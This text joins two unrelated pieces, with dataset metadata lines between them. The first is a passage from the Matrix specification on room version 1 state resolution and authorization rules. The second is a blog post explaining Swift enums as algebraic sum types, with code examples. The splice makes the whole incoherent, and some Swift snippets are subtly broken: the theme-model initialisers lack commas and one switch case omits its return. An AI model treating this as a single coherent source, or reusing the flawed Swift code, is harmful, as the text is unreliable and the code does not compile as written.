should be aware of which version room they are dealing with prior to
executing a given algorithm.

{{% boxes/warning %}}
Although there are many rooms using room version 1, it is known to have
undesirable effects. Servers implementing support for room version 1
should be aware that restrictions should be generally relaxed and that
inconsistencies may occur.
{{% /boxes/warning %}}

### State resolution

{{% boxes/warning %}}
Room version 1 is known to have bugs that can cause the state of rooms
to reset to older versions of the room's state. For example this could
mean that users who had joined the room may be removed from the room,
admins and moderators could lose their power level, and users who have
been banned from the room may be able to rejoin. Other state events such
as the the room's name or topic could also reset to a previous version.

This is fixed in the state resolution algorithm introduced in room
version 2.
{{% /boxes/warning %}}

The room state *S*′(*E*) after an event *E* is defined in terms of the
room state *S*(*E*) before *E*, and depends on whether *E* is a state
event or a message event:

-   If *E* is a message event, then *S*′(*E*) = *S*(*E*).
-   If *E* is a state event, then *S*′(*E*) is *S*(*E*), except that its
    entry corresponding to *E*'s `event_type` and `state_key` is
    replaced by *E*'s `event_id`.

The room state *S*(*E*) before *E* is the *resolution* of the set of
states {*S*′(*E*′), *S*′(*E*″), …} consisting of the states after each
of *E*'s `prev_event`s {*E*′, *E*″, …}.

The *resolution* of a set of states is defined as follows. The resolved
state is built up in a number of passes; here we use *R* to refer to the
results of the resolution so far.

-   Start by setting *R* to the union of the states to be resolved,
    excluding any *conflicting* events.
-   First we resolve conflicts between `m.room.power_levels` events. If
    there is no conflict, this step is skipped, otherwise:
    -   Assemble all the `m.room.power_levels` events from the states to
        be resolved into a list.
    -   Sort the list by ascending `depth` then descending
        `sha1(event_id)`.
    -   Add the first event in the list to *R*.
    -   For each subsequent event in the list, check that the event
        would be allowed by the authorization rules for a room in state
        *R*. If the event would be allowed, then update *R* with the
        event and continue with the next event in the list. If it would
        not be allowed, stop and continue below with `m.room.join_rules`
        events.
-   Repeat the above process for conflicts between `m.room.join_rules`
    events.
-   Repeat the above process for conflicts between `m.room.member`
    events.
-   No other events affect the authorization rules, so for all other
    conflicts, just pick the event with the highest depth and lowest
    `sha1(event_id)` that passes authentication in *R* and add it to
    *R*.

A *conflict* occurs between states where those states have different
`event_ids` for the same `(event_type, state_key)`. The events thus
affected are said to be *conflicting* events.

### Authorization rules

The types of state events that affect authorization are:

-   `m.room.create`
-   `m.room.member`
-   `m.room.join_rules`
-   `m.room.power_levels`
-   `m.room.third_party_invite`

{{% boxes/note %}}
Power levels are inferred from defaults when not explicitly supplied.
For example, mentions of the `sender`'s power level can also refer to
the default power level for users in the room.
{{% /boxes/note %}}

The rules are as follows:

1.  If type is `m.room.create`:
    1.  If it has any previous events, reject.
    2.  If the domain of the `room_id` does not match the domain of the
        `sender`, reject.
    3.  If `content.room_version` is present and is not a recognised
        version, reject.
    4.  If `content` has no `creator` field, reject.
    5.  Otherwise, allow.
2.  Reject if event has `auth_events` that:
    1.  have duplicate entries for a given `type` and `state_key` pair
    2.  have entries whose `type` and `state_key` don't match those
        specified by the [auth events
        selection](/server-server-api#auth-events-selection)
        algorithm described in the server specification.
3.  If event does not have a `m.room.create` in its `auth_events`,
    reject.
4.  If type is `m.room.aliases`:
    1.  If event has no `state_key`, reject.
    2.  If sender's domain doesn't matches `state_key`, reject.
    3.  Otherwise, allow.
5.  If type is `m.room.member`:
    1.  If no `state_key` key or `membership` key in `content`, reject.
    2.  If `membership` is `join`:
        1.  If the only previous event is an `m.room.create` and the
            `state_key` is the creator, allow.
        2.  If the `sender` does not match `state_key`, reject.
        3.  If the `sender` is banned, reject.
        4.  If the `join_rule` is `invite` then allow if membership
            state is `invite` or `join`.
        5.  If the `join_rule` is `public`, allow.
        6.  Otherwise, reject.
    3.  If `membership` is `invite`:
        1.  If `content` has `third_party_invite` key:
            1.  If *target user* is banned, reject.
            2.  If `content.third_party_invite` does not have a `signed`
                key, reject.
            3.  If `signed` does not have `mxid` and `token` keys,
                reject.
            4.  If `mxid` does not match `state_key`, reject.
            5.  If there is no `m.room.third_party_invite` event in the
                current room state with `state_key` matching `token`,
                reject.
            6.  If `sender` does not match `sender` of the
                `m.room.third_party_invite`, reject.
            7.  If any signature in `signed` matches any public key in
                the `m.room.third_party_invite` event, allow. The public
                keys are in `content` of `m.room.third_party_invite` as:
                1.  A single public key in the `public_key` field.
                2.  A list of public keys in the `public_keys` field.
            8.  Otherwise, reject.
        2.  If the `sender`'s current membership state is not `join`,
            reject.
        3.  If *target user*'s current membership state is `join` or
            `ban`, reject.
        4.  If the `sender`'s power level is greater than or equal to
            the *invite level*, allow.
        5.  Otherwise, reject.
    4.  If `membership` is `leave`:
        1.  If the `sender` matches `state_key`, allow if and only if
            that user's current membership state is `invite` or `join`.
        2.  If the `sender`'s current membership state is not `join`,
            reject.
        3.  If the *target user*'s current membership state is `ban`,
            and the `sender`'s power level is less than the *ban level*,
            reject.
        4.  If the `sender`'s power level is greater than or equal to
            the *kick level*, and the *target user*'s power level is
            less than the `sender`'s power level, allow.
        5.  Otherwise, reject.
    5.  If `membership` is `ban`:
        1.  If the `sender`'s current membership state is not `join`,
            reject.
        2.  If the `sender`'s power level is greater than or equal to
            the *ban level*, and the *target user*'s power level is less
            than the `sender`'s power level, allow.
        3.  Otherwise, reject.
    6.  Otherwise, the membership is unknown. Reject.
6.  If the `sender`'s current membership state is not `join`, reject.
7.  If type is `m.room.third_party_invite`:
    1.  Allow if and only if `sender`'s current power level is greater
        than or equal to the *invite level*.
8.  If the event type's *required power level* is greater than the
    `sender`'s power level, reject.
9.  If the event has a `state_key` that starts with an `@` and does not
    match the `sender`, reject.
10. If type is `m.room.power_levels`:
    1.  If `users` key in `content` is not a dictionary with keys that
        are valid user IDs with values that are integers (or a string
        that is an integer), reject.
    2.  If there is no previous `m.room.power_levels` event in the room,
        allow.
    3.  For the keys `users_default`, `events_default`, `state_default`,
        `ban`, `redact`, `kick`, `invite` check if they were added,
        changed or removed. For each found alteration:
        1.  If the current value is higher than the `sender`'s current
            power level, reject.
        2.  If the new value is higher than the `sender`'s current power
            level, reject.
    4.  For each entry being added, changed or removed in both the
        `events` and `users` keys:
        1.  If the current value is higher than the `sender`'s current
            power level, reject.
        2.  If the new value is higher than the `sender`'s current power
            level, reject.
    5.  For each entry being changed under the `users` key, other than
        the `sender`'s own entry:
        1.  If the current value is equal to the `sender`'s current
            power level, reject.
    6.  Otherwise, allow.
11. If type is `m.room.redaction`:
    1.  If the `sender`'s power level is greater than or equal to the
        *redact level*, allow.
    2.  If the domain of the `event_id` of the event being redacted is
        the same as the domain of the `event_id` of the
        `m.room.redaction`, allow.
    3.  Otherwise, reject.
12. Otherwise, allow.

{{% boxes/note %}}
Some consequences of these rules:

-   Unless you are a member of the room, the only permitted operations
    (apart from the initial create/join) are: joining a public room;
    accepting or rejecting an invitation to a room.
-   To unban somebody, you must have power level greater than or equal
    to both the kick *and* ban levels, *and* greater than the target
    user's power level.
{{% /boxes/note %}}

### Event format

Events in version 1 rooms have the following structure:

{{% definition path="api/server-server/definitions/pdu" %}}

### Canonical JSON

Servers MUST NOT strictly enforce the JSON format specified in the
[appendices](/appendices#canonical-json) for the reasons
described there.

repository: MurzNN/matrix-doc

repo_name: MurzNN/matrix-doc


text:
---
layout: post
title: Swift Enums Are 'Sum' Types. That Makes Them Very Interesting
---

# Algebraic types - what are they?

Algebraic types... seems like the kind of math-y word Haskell programmers
would use. But in reality you don't need to know type theory or have a
PhD in mathematics to understand them. Algebraic types arent *new* types. They are simply a new way of thinking
about the types you already know about.

There are many different algebraic types - in fact - all of the types
you currently use are algebraic as well. Here, we'll two basic algebraic
types
- Product types
- Sum types

So let's start with the familiar stuff.

## Product types

Product types are nothing more that Swift `struct` types, or Java `class`
types.

They are called *product* types because the number of possible values they
can have is the product of the number of possible values of their
constituent parts

```swift
struct ProductExample {
  let a: Bool
  let b: Bool
}
```

So a `Bool` type can have 2 possible values. `ProductExample` has 2 `Bool`
types. We can get the number of possible values of `ProductExample` by
multiplying the number of possible values of `Bool` `a` with the number
of possible values of `Bool` `b`. So the number of possible values of
`ProductExample` is $$2 \times 2$$ which is $$4$$

This is evident with all the possible instances of the type:

```swift
let first = ProductExample(a: true, b: true)
let second = ProductExample(a: true, b: false)
let third = ProductExample(a: false, b: true)
let fourth = ProductExample(a: false, b: false)
```

Let's look at another example:

```swift
struct ProductExampleTwo {
  let a: Bool
  let b: Int8
}
```

Now our type `ProductExampleTwo` has the number of possible values which
is a multiple of `Bool` and `Int8`. `Int8` has $$256$$ possible values, `Bool` has $$2$$ possible values. So our `ProductExampleTwo` has $$512$$
possible values.

In general, without going into type theory notation, we can define a function $$N_{pv}$$ which for a given type - returns the number of possible
values that type has. So:

\\[
N_{pv}(Bool) = 2
\\]
\\[
N_{pv}(Int8) = 256
\\]
\\[
N_{pv}(String) = \infty
\\]

The conclusion that $$N_{pv}(String) = \infty$$ has certain implications in
the way we think about types, but those can be omitted for the current
article without compromising the general message

If we use the $$N_{pv}$$ function - we can express a general case for all product types.

Let's assume there exists type $$T$$ which has constituent parts $$T_1, T_2, T_3, ... , T_n$$. $$T$$ can be considered a product type if:

\\[
N_{pv}(T) = N_{pv}(T_1) \times N_{pv}(T_2) \times N_{pv}(T_3) \times ... \times N_{pv}(T_n)
\\]

Or in a more proper notation:

\\[
N_{pv}(T) = \prod_{i = 1}^{n}N_{pv}(T_i)
\\]

## Sum types

If you're, by any chance, unfamiliar with enum syntax - there is a quick
and dirty intro at the bottom of the article.

So if `struct`-s were product types - then what are sum types?

Simple - **Sum types (in swift) are enums!**

**Number of possible values of a sum type is the sum of the number of
possible values of it's constituent parts**

Now that we know how to deal with the algebraic view of types, and have
our $$N_{pv}$$ function handy - let's explore the world of sum types with
examples.

```swift
enum SumExample {
  case a(Bool)
  case b(Bool)
}
```

Let's see all the different ways we can instantiate the `SumExample` enum.

```swift
let first = SumExample.a(true)
let second = SumExample.b(true)
let third = SumExample.a(false)
let fourth = SumExample.b(false)
```

There are $$4$$ ways to instantiate the `SumExample` enum. This number comes
from the fact that $$N_{pv}(Bool) = 2$$ and that `SumExample` contains two
`Bool` types and that $$2 + 2 = 4$$

Let's examine a different example:

```swift
enum SumExampleTwo {
  case a(Bool)
  case b(Int8)
}
```

Now what is the number of possible values of `SumExampleTwo`? It's the
*sum* of possible values of `Bool` and `Int8`. So

\\[
N_{pv}(Bool) = 2
\\]
\\[
N_{pv}(Int8) = 256
\\]
\\[
N_{pv}(SumExampleTwo) = N_{pv}(Bool) + N_{pv}(Int8)
\\]
\\[
N_{pv}(SumExampleTwo) = 2 + 256
\\]
\\[
N_{pv}(SumExampleTwo) = 258
\\]

Expressing a general case:

Let's assume there exists a type $$T$$ with constituent parts $$T_1, T_2, T_3, ... , T_n$$ . $$T$$ can be considered a sum type if:

\\[
N_{pv}(T) = N_{pv}(T_1) + N_{pv}(T_2) + N_{pv}(T_3) + ... + N_{pv}(T_n) \\
\\]

or in a more proper notation:

\\[
N_{pv}(T) = \sum_{i = 1}^{n}N_{pv}(T_i)
\\]

## How can I use it to write better code?

All this theoretical stuff is fine and dandy - but let's see a little bit
of practical examples.

So in general you want to follow the mantra:

The number of possible values of your type should be equal to the number
of possible values of your use case.

### 1. Result enum

So what does this mean?

Let's assume you're making a REST call and you're getting back some `String` as a result. A bad way to write this would be:

```swift
typealias Handler = (String?, Error?) -> Void

func getUser(from: URL, completionHandler: Handler) {
  // function implementation
}

getUser(from: someUrl) { result, error in
  if let result = result {
    // Handle result
  }
  if let error = error {
    // Handle error
  }
}
```
Why is this a bad option? Because our *use case* has two possible values:
- Success - result was fetched from the server
- Error - Something went wrong during the process

And our *implementation* has four possible values:
```swift
result = nil, error = not nil // Case 1
result = not nil, error = nil  // Case 2
result = not nil, error = not nil // Case 3
result = nil, error = nil // Case 4
```

We have to think about the semantics of this approach. We are actually
counting only on two cases the `Case 1` and `Case 2`. What does it mean
when both result and error are `nil`? Or when they're both not `nil`.

The problem is - we're using a product type where we should be using a
sum type. The solution?

```swift
enum Result {
    case success(String)
    case error(Error)
}

typealias Handler = (Result) -> Void

func getUser(from: URL, completionHandler: (Handler)) {
  // implementation
}

getUser(from: someUrl) { response in
    switch response {
    case .success(let result):
        print(result)
    case .error(let error):
        print(error.localizedDescription)
    }
}
```

We've created a sum type called `Result` and we're using it to distinguish
between two possibilities. Our use case matches our implementation and all
is good.

### 2. Optional enum

You might not have known that Swift has an inbuilt sum type that we use
almost all of the time - Optional.

The optionals we know and love (or sometimes hate) are implemented inside
of the Swift language as an `enum`

```swift
enum Optional<T> {
  case some(T)
  case none
}
```

so a `let a: String? = "Hello"` wold just be shorthand syntax for
`let a = Optional.some("Hello")`.

Good thing is that swift has some neat syntax sugar to help us out on our
distinguishing of sum types - the `if let` and `guard let` constructs.

This

```swift
let a: String? = "Hello"

if let a = a {
    print(a)
} else {
    print("error")
}
```

is equivalent to this:

```swift
let a = Optional.some("Hello")

switch a {
case .some(let res):
  print(res)
case .none:
  print("Error")
}
```

### 3. Router and theme patterns

Some things in your apps have a finite number of possibilities and are
ultra easy to express as sum types. Like for example API endpoint router.

```swift
enum Router {
    case user(id: Int)
    case weather(day: Day)
}

extension Router {
    var url: String {
        switch self {
        case .user(let id):
            return "\(App.BaseUrl)/user/\(id)"
        case .weather(let day):
            return "\(App.BaseUrl)/weather/\(day.rawValue)"
        }
    }
}
```

Your router could use this pattern to expose everything from parameters,
headers, request types, etc...

And now a theme patten if you need themes:

```swift
struct AppThemeModel {
    let baseColor: UIColor
    let backgroundColor: UIColor
    let accentColor: UIColor
    let baseFont: UIFont
}

enum AppTheme {
    case dark
    case light

    var model: AppThemeModel {
      switch self {
      case .dark:
        return AppThemeModel(
          baseColor: .red
          backgroundColor: .darkRed
          accentColor: .yellow
          baseFont: .systemFontOfSize(12)
        )
      case .light:
        AppThemeModel(
          baseColor: .white
          backgroundColor: .gray
          accentColor: .blue
          baseFont: .systemFontOfSize(13)
        )
      }
    }
}

// During app init
var currentAppTheme = AppTheme.dark

```

### 3. Implementing data structures

Implementing trees and linked lists using sumt types in swift is ultra
easy

```swift
indirect enum Tree<T> {
    case node(T, l: Tree, r: Tree)
    case leaf(T)

    var l: Tree? {
      switch self {
      case .node(_, l: let l, _):
        return l
      case .leaf(_):
        return nil
      }
    }

    var r: // equivalent implementation to l

    var value: T {
      switch self {
      case .node(let val, _, _):
        return val
      case .leaf(let val):
        return val
      }
    }
}

let tree = Tree.node(12, l: Tree.leaf(11),
                         r: Tree.node(34, l: Tree.leaf(34),
                                          r: Tree.leaf(55)))
```
----

#### Enums syntax quick & dirty

Swift enums can be written like this:

```swift
enum Foo {
  case a
  case b
}

let sth = Foo.a
let oth = Foo.b
```

But can be also written like this:

```swift
enum Foo {
  case a(String)
  case b(isEnabled: Bool)
}

let sth = Foo.a("Hello")
let oth = Foo.b(isEnabled: false)
```

gha_language: CSS